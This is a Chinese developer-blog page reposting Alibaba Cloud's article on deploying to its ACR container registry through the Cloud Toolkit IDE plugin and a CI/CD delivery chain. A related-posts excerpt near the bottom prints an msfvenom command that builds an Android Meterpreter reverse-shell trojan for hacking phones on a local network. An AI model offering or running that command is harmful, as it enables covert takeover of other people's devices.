文档章节

容器镜像服务联手 IDE 插件,实现一键部署、持续集成与交付

阿里巴巴云原生
 阿里巴巴云原生
发布于 2019/11/29 11:19
字数 2104
阅读 23
收藏 0

容器技术提供了一种标准化的交付方式,将应用的代码以及代码环境依赖都打包在一起,成为一个与环境无关的交付物,可以被用在软件生命周期的任何阶段,彻底改变了传统的软件交付方式。

甚至可以说,是在容器技术之后,DevOps、CI/CD 等运维关键问题才有了质的飞跃:实现资源的动态创建和销毁,更轻量的容器技术既能保证环境一致性也能进一步提高迭代频率,各种容器平台也能更好地保证应用高可用、自动伸缩、业务连续等等。

今天将跟大家分享支撑双十一的容器镜像仓库 ACR,以及它是如何实现搭配 IDE 插件和 CICD/云原生应用交付链来实现一键部署与持续集成,以下是本文提纲:

  • 什么是容器镜像仓库 ACR
  • 如何搭配免费 IDE 插件实现一键部署
  • 如何运用 CICD/ 云原生应用交付链实现持续集成与交付

想听软萌音在线讲解?阿里云小姐姐直播,手把手教你,12月5日晚上8点—9点,直播间等你(还有弹幕截屏送礼品!),直播间地址点击链接:https://developer.aliyun.com/special/cloudtoolkitlive

容器镜像仓库 ACR

为了更好地支持双十一大规模分发需求,容器镜像服务(Alibaba Cloud Container Registery, ACR)团队提前进行规划及迭代更新,全面提升了大规模分发场景下的性能、可观测性和稳定性。在新的双十一来临前,容器镜像服务已达到了 PB 的镜像托管量,月均镜像拉取达数亿次,平滑度过 54.4 万笔交易峰值。

阿里云镜像仓库 ACR 分为默认实例版与企业版,虽然结合阿里云产品做了多维度优化,但是并不与阿里云强制绑定。ACR 默认实例版面向容器开发者,提供安全的镜像托管、便捷的镜像授权功能,方便用户进行镜像全生命周期管理,并且简化了 Registry 的搭建运维工作,支持全球 20 个地域的镜像托管。ACR 企业版面向安全需求高、业务多地域大规模部署的企业级客户,提供大规模镜像分发能力、企业级的安全独享特性,以及云原生应用交付链,全链路可观测、可跟踪以及可设置,可实现一次应用变更,多场景自动化交付。

如何搭配 免费 IDE 插件实现一键部署

Cloud Toolkit 是一款免费的本地 IDE 插件,很多技术博客都有相关的测评,是一款口碑较好的插件。它能够帮助开发者更高效地开发、测试、诊断并部署应用。设置好插件的初始配置之后,可以将本地应用一键部署到任意服务器 Host,甚至云端(ECS、ACR、Kubernetes 和 小程序云 等);并且还内置了 Arthas 诊断、Dubbo工具、Terminal 终端、文件上传、函数计算 和 MySQL 执行器等工具,减少了切换工作界面的时间,灵巧且实用,推荐安装试用一波。下面介绍,插件如何将应用一键部署到容器镜像仓库 ACR 。

开发者的部署包从形成镜像到镜像仓库,手动操作的话,每一次都需要经历下图 4 个步骤:登录阿里云Docker Registr--> 从Registry中拉取镜像 --> 将镜像推送到Registry --> 选择合适的镜像仓库地址,但是,使用 Cloud Toolkit ,开发者可以实现在本地 IDE 就能一键部署到镜像仓库。

(一)配置插件首选项

安装完插件之后,点击:顶部菜单Tools --> Alibaba Cloud Toolkit --> Preferences-->左边列表的 Alibaba Cloud Toolkit--> Accounts ,出现如下界面,配置阿里云账号的 AK 和 SK,即可完成首选项配置。(如果是子账号,则填写子账号的 AK 和 SK)。

(二)设置本地 Docker 镜像打包

**点击:顶部菜单Tools --> Alibaba Cloud Toolkit --> Preferences --> 左边列表的 Alibaba Cloud Toolkit --> Docker,如下图,设置本地 Docker 镜像打包。

(三)部署应用

**第一步:**在 Intellij IDEA 中,如下图点击:顶部菜单Tools --> Alibaba Cloud  -->Deploy to ACR/ACK --> Deploy to ACR。

**第二步:**设置 Image

  • 在 Image 标签页中,选择本地应用程序的 Context Directory 和 Dockerfile (通常会根据您本地的应用工程自动识别并设置)。
  • 选择容器镜像服务的地域、命名空间和镜像仓库。

**第三步:**执行部署

点击 Run 按钮之后,即可完成将本地 Docker 镜像推送到 ACR 中去。

如何运用 CICD/云原生应用交付链,实现持续集成与交付

ACR企业版的云原生交付链在托管交付分发等方面进一步提升,历经双11大促,沉淀了云原生应用万节点协同的技术经验。

目前支持容器镜像、Helm Chart 两类云原生应用资产,并采用独立网络访问控制,可细粒度控制公网及VPC 网络的访问策略,仅允许符合策略的来源方访问资产,保障访问安全。

同时实现了整个应用交付周期的流程自动化,开发者只要一次变更应用,按照配置多场景交付,即可实现一次应用变更,全球化多场景自动交付。

在应用交付环节,ACR EE 支持自动发起静态安全扫描并自定义配置安全阻断策略。一旦识别到静态应用中存在高危漏洞后,可自动阻断后续部署链路。用户可基于漏洞报告中的修复建议,更新优化构建成新的镜像版本,再次发起交付。

建设 CICD 体系还需要考虑到整体稳定和尽可能不断提升整体交付能力,比如监控报警、容错容灾、依赖治理、限流降级、容量规划。这里可以和大家分享 ACR 团队的相关经验:

  • 在依赖治理方面,要对云原生应用交付链中相关重点环节及外部依赖进行统一管理,识别热点仓库及追踪交付链执行结果;
  • 在限流降级方面,最好分析识别云原生应用分发核心环节的主次业务功能,优先保障主要业务逻辑完成,次要业务逻辑可降级延后处理;
  • 在容量规划方面,平台根据上下游业务变化情况,对资源进行按需扩容,确保云原生应用正常交付完成。

容器镜像服务 ACR 与 插件 Cloud Toolkit 免费面向开发者,帮助技术人员提高开发、部署效率,在减少时间成本的同时提高了业务的质量,还有双十一的顶级洪峰流量场景作为实践案例,希望这篇文章能帮助到有需要的人,并通过相关文章快速上手,真正实现业务价值。

直播介绍

想听软萌音在线讲解?阿里云小姐姐直播手把手教你高效制作、一键部署镜像,12 月 5 日晚上 8 点—9 点,直播间等你(还有弹幕截屏送礼品!),直播间地址点击链接:https://developer.aliyun.com/special/cloudtoolkitlive

“阿里巴巴云原生微信公众号(ID:Alicloudnative)关注微服务、Serverless、容器、Service Mesh等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的技术公众号。”

© 著作权归作者所有

阿里巴巴云原生

阿里巴巴云原生

粉丝 69
博文 274
码字总数 887808
作品 0
杭州
私信 提问
加载中

评论(0)

牛逼 IDE 插件,一键部署 Docker 镜像,开发部署提速 8 倍

容器技术提供了一种标准化的交付方式,将应用的代码以及代码环境依赖都打包在一起,成为一个与环境无关的交付物,可以被用在软件生命周期的任何阶段,彻底改变了传统的软件交付方式。 甚至可...

阳春白雪08
2019/11/28
0
0
我们应该如何基于容器来进行软件的持续交付(二)?

概述 接着上一篇的内容,我们有讲到“持续交付是文化,自动化是基石,垮职能团队协作是根本”,本文将以软文的形式介绍持续交付平台WiseBuild结合Rancher容器管理平台我们是如何进行跨职能团...

wise2c
2016/12/26
180
0
新一代 CI 持续集成工具 flow.ci 正式开源

很高兴地宣布 flow.ci 在 Apache-2.0 协议下正式开源了。flow.ci 是国内首套开源持续集成(CI) 解决方案,帮助企业团队实现开发流程(build-test-deploy)自动化,快速持续交付高质量软件。 官方...

风起云飞fir_im
2017/12/06
3.1K
23
使用Helm优化Kubernetes下的研发体验:实现持续交付流水线

接着上一篇《使用Helm优化Kubernetes下的研发体验:基础设施即代码》中笔者介绍了如何在项目中使用Helm,在项目源码中,我们通过Dockerfile定义了项目是如何构建的,使用Helm定义了项目是如何...

Docker
2018/10/28
0
0
DaoCloud 发布容器持续交付云服务,打造全球首个一站式 Docker 云平台

2015年4月21日,DaoCloud(www.daocloud.io)宣布正式推出其分布全球的持续交付云服务,该服务上线标志着容器技术从运维环节渗透入开发环节,DaoCloud也藉此成为业界首个实现了一站式Docker应...

DaoCloud
2015/04/21
6
0

没有更多内容

加载失败,请刷新页面

加载更多

MySQL DROP所有表,忽略外键

是否有一个很好的简单方法从MySQL数据库中删除所有表,忽略可能存在的任何外键约束? #1楼 这是一个基于游标的解决方案。 有点冗长但作为单个SQL批处理: DROP PROCEDURE IF EXISTS `drop_a...

技术盛宴
37分钟前
64
0
03-ObjectArx-创建圆

1.由于两点创建圆用到根据两点计算圆心和半径,新建筛选器CwCalculation,并新建类CwCalculation CwCalculation.h #pragma onceclass CwCalculation{public:CwCalculation(void)...

caiweicaiwei
52分钟前
61
0
使用Kali linux生成木马入侵局域网安卓手机

1、首先查看本机ip,这里我本机IP地址为192.168.0.105 2、生成木马 msfvenom -p android/meterpreter/reverse_tcp LHOST=你kali的ip LPORT=5555 R > /root/apk.apk 输入上述命令生成木马,这...

回忆是如此忧伤
54分钟前
40
0
被关系数据库建表和升级折磨?因为你没用大道至简的Flyway

前言 六年前Flyway已经是我TDD开发、持续集成工具栈中的重要一环了,作为早期用户,我早就应该为它做个”广告“,可惜对创业者来说时间太宝贵了,现在趁着疫情才有机会在家里总结点东西。虽然...

chentao106
56分钟前
300
1
解决ClientDataSet连接脱离框架导致某些字段无法在客户端修改值的问题

{ function: 解决ClientDataSet连接脱离框架导致某些字段无法在客户端修改值的问题 description: 将一个复制Data的clientdataset做成可写。因为直接赋值cdsData.data=cdsTemp.data会连着dat...

乞丐88
57分钟前
47
0

没有更多内容

加载失败,请刷新页面

加载更多

返回顶部
顶部